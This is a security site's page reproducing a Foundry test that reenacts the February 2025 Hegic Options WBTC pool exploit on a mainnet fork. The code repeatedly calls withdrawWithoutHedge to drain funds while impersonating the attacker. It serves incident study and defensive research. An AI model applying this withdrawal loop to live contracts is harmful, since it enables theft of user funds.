Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/HegicOptions_exp.sol

Public reproduction file for dataset entry HegicOptions.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/HegicOptions_exp.sol69 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~104M
8// Attacker : https://etherscan.io/address/0x4B53608fF0cE42cDF9Cf01D7d024C2c9ea1aA2e8
9// Attack Contract : https://etherscan.io/address/0xF51E888616a123875EAf7AFd4417fbc4111750f7
10// Vulnerable Contract : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B
11// Attack Tx 1: 0x260d5eb9151c565efda80466de2e7eee9c6bd4973d54ff68c8e045a26f62ea73
12// Attack Tx 2: 0x444854ee7e7570f146b64aa8a557ede82f326232e793873f0bbd04275fa7e54c
15// @Info
16// Vulnerable Contract Code : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B#code
18// @Analysis
19// Post-mortem :
20// Twitter Guy :
21pragma solidity ^0.8.0;
23contract HegicOptions is Test {
24 uint256 blocknumToForkFrom1 = 21912408;
25 uint256 blocknumToForkFrom2 = 21912423;
26 address constant victim_contract_address = 0x7094E706E75E13D1E0ea237f71A7C4511e9d270B;
27 address constant attacker_address = 0xF51E888616a123875EAf7AFd4417fbc4111750f7;
28 address constant wbtc_address = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
30 IHegic_WBTC_ATM_Puts_Pool Hegic_WBTC_ATM_Puts_Pool;
31 IERC20 WBTC;
33 function setUp() public {
34 WBTC = IERC20(wbtc_address);
35 Hegic_WBTC_ATM_Puts_Pool = IHegic_WBTC_ATM_Puts_Pool(victim_contract_address);
36 }
38 function testExploit() public {
39 // The attacker initially deposited 0.0025 WBTC into the victim contract.
40 // Tx: 0x9c27d45c1daa943ce0b92a70ba5efa6ab34409b14b568146d2853c1ddaf14f82
42 vm.startPrank(attacker_address, attacker_address);
44 // Attack Tx 1
45 vm.createSelectFork("mainnet", blocknumToForkFrom1);
46 emit log_named_decimal_uint("[Begin] Attacker WBTC before Tx1", WBTC.balanceOf(attacker_address), 8);
47 for (uint256 i = 0; i < 100; i++){
48 Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);
49 }
50 emit log_named_decimal_uint("[End] Attacker WBTC after Tx1", WBTC.balanceOf(attacker_address), 8);
52 // Between tx1 and tx2, the attacker had already withdraw the stolen WBTC from the attack contract.
53 // Tx: 0x722f67f6f9536fa6bbf4af447250e84b8b9270b66195059c9904a0e249543e80
55 // Attack Tx 2
56 vm.createSelectFork("mainnet", blocknumToForkFrom2);
57 emit log_named_decimal_uint("[Begin] Attacker WBTC before Tx2", WBTC.balanceOf(attacker_address), 8);
58 for (uint256 i = 0; i < 331; i++){
59 Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);
60 }
61 emit log_named_decimal_uint("[End] Attacker WBTC after Tx2", WBTC.balanceOf(attacker_address), 8);
63 vm.stopPrank();
64 }
67interface IHegic_WBTC_ATM_Puts_Pool {
68 function withdrawWithoutHedge(uint256 trancheID) external returns (uint256 amount);

Analysis

Dataset entry

Public Foundry test for “HegicOptions” (2025-02-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4b53608ff0ce42cdf9cf01d7d024c2c9ea1aa2e8

  • Attack Contract

    0xf51e888616a123875eaf7afd4417fbc4111750f7

  • Vulnerable Contract

    0x7094e706e75e13d1e0ea237f71a7c4511e9d270b

  • Attack Tx

    0x260d5eb9151c565efda80466de2e7eee9c6bd4973d54ff68c8e045a26f62ea73

  • Attack Tx

    0x444854ee7e7570f146b64aa8a557ede82f326232e793873f0bbd04275fa7e54c

File record

Name
HegicOptions
Path
src/test/2025-02/HegicOptions_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
211669170c73fc08caee5ee241bb6785fc1b5223
Language
Solidity
Size
70 lines
Date
2025-02-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/HegicOptions_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 211669170c73fc08caee5ee241bb6785fc1b5223, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.